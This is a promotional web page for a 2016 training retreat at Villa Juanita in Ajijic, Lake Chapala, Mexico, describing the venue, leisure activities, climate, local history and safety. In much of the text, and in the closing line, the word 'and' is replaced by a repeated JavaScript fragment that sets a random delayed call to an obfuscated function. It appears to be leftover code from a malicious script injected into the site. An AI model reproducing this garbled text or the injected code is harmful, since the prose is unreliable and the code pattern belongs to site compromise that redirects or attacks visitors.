2016 Leisure & Learn Venue: Villa Juanita, Ajijic, Lake Chapala, Mexico

We firmly believe that “where” a person learns is just as important as “how” they learn.

Villa Juanita is an oasis of unsurpassed beauty andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and stunning architecture. Break-out sessions will be held in the gardens andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and terraces that feature two soothing water elements andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and an array of tropical plants.

Participants will be able to visit the Villa’s meditation garden, enjoy the landom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andscaped grounds, swim in a heated pool, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and view the lake from the Villa’s rooftop terrace, before andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and after sessions.

Lake Chapala is the #1 retirement spot for Americans andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Canadians, enjoying the world’s 2nd best climate. Villa Juanita is in the heart of the 16th century village of Ajijic andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and offers our attendees a setting that is serene, beautiful, spacious, architecturally unique, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and free from noise andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and everyday distractions.

Incorporating Leisure

Our unique learning experience is supported by an emphasis on incorporating leisure time, devoted to novel sights, new activities, exploring Lake Chapala’s unique surroundings, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and fostering relationships with attendees. Therefore, sessions will run Monday – Friday from 8AM to 2PM with a full breakfast andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and lunch included, leaving the afternoon andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and evening hours available for local activities andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and leisure pursuits.

Concierge Services

Our on-site hosts at Villa Juanita will be available to assist you from the moment your registration is processed. Our hosts have 9 years of experience in running conferences andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and training workshops at Villa Juanita, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and will assist you at every step of the way. They will help you with airline andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and hotel reservations, transportation, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and all logistics. Our hosts will start a list serve for each of the 3 training dates so that participants can connect with each other beforehandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and.

They will also help you arrange leisure activities that include kayaking andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and water sports, hiking or horseback riding into the mountains or along the shoreline, walk-abouts, visits to local art galleries, as well as to craft, clothing, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and jewelry stores. They will ensure that your stay in Mexico is effortless andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and very enjoyable.

Highlights during your stay in Mexico can also include visits to Guadalajara, the nearby craft town of Tlaquepacque (indigenous crafts, glass blowing, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and pottery), andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and the nearby village of San Juan Cosala (hot spring thermal waters).

Lake Chapala enjoys 360 days a year of sunshine, a temperate climate (a 75 to 83 degrees daily average), low humidity, andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and cooling breezes in the evening. This makes the area one of the world’s premier vacation andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and retirement destinations.

Location

Lake Chapala is located 45 minutes from Guadalajara International Airport. Many expats from the US, Canada, and Europe make their permanent homes along the shores of the lake in four small towns – the largest being Ajijic – tranquil, calm, and welcoming.

Weather

The area climate is referred to as “eternal spring.” With average daily temperatures of 75-85 F, low humidity, and 360 days of sunshine per year make it a true paradise. Ajijic is a “puebla magico” or Magical Village designated officially by the State of Jalisco. Noted for fine restaurants, art galleries, and culture: 4 performing theatres and an auditorium, featuring music and dance, there is always something to do in the evenings. We felt the environment would be welcoming and conducive for the “leisure and learn” concept we want to use at CIP workshops.

History

Lake Chapala area was discovered in 1522 and came under the domain of the King of Spain. The Franciscans arrived in 1533, and began building a monastery here. Ajijic became a haven for artists, writers, and musicians during the 1950’s and 1960’s. Jackson Pollock lived here, as did Ernest Hemingway, Tennessee Williams, Bob Dylan, and many, many others. Today, Ajijic is a quaint, colorful, centuries old village, steeped in culture and tradition, yet having all the expected modern amenities.

Life and Food

Family life is very important in Ajijic. There is a wonderful Malecón (boardwalk), and you will often see parents, grandparents, and children walking, smiling, and enjoying the evening air. Parades and fiestas are common occurrences, celebrating both religious and civil events, accompanied with fireworks and great food.

60 local restaurants – French, Mexican, Spanish, Greek, Japanese, Chinese, Italian, and Slovakian – offer a variety of cuisines. The water and food are perfectly safe to consume. By law, all restaurants must cook with and serve customers purified water.

Safety

Contrary to the US news media, this area of Mexico is safe, secure, and settled. In fact, Michael McManmon, founder of CIP and one of the lead trainers has vacation home at Lake Chapala. Francine Britton, also a lead trainer has lived in this area for the past 5 years.

Ajijic has the normal services of the 21st century – water treatment plants, electricity, cellular phones, and the Internet service. Activities such as golf, tennis, swimming, horseback riding and many others are available throughout the year.

 

Additional information about Ajijic andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Lake Chapala will be sent to participants upon registration. We hope that you will consider joining us in Mexico in 2016.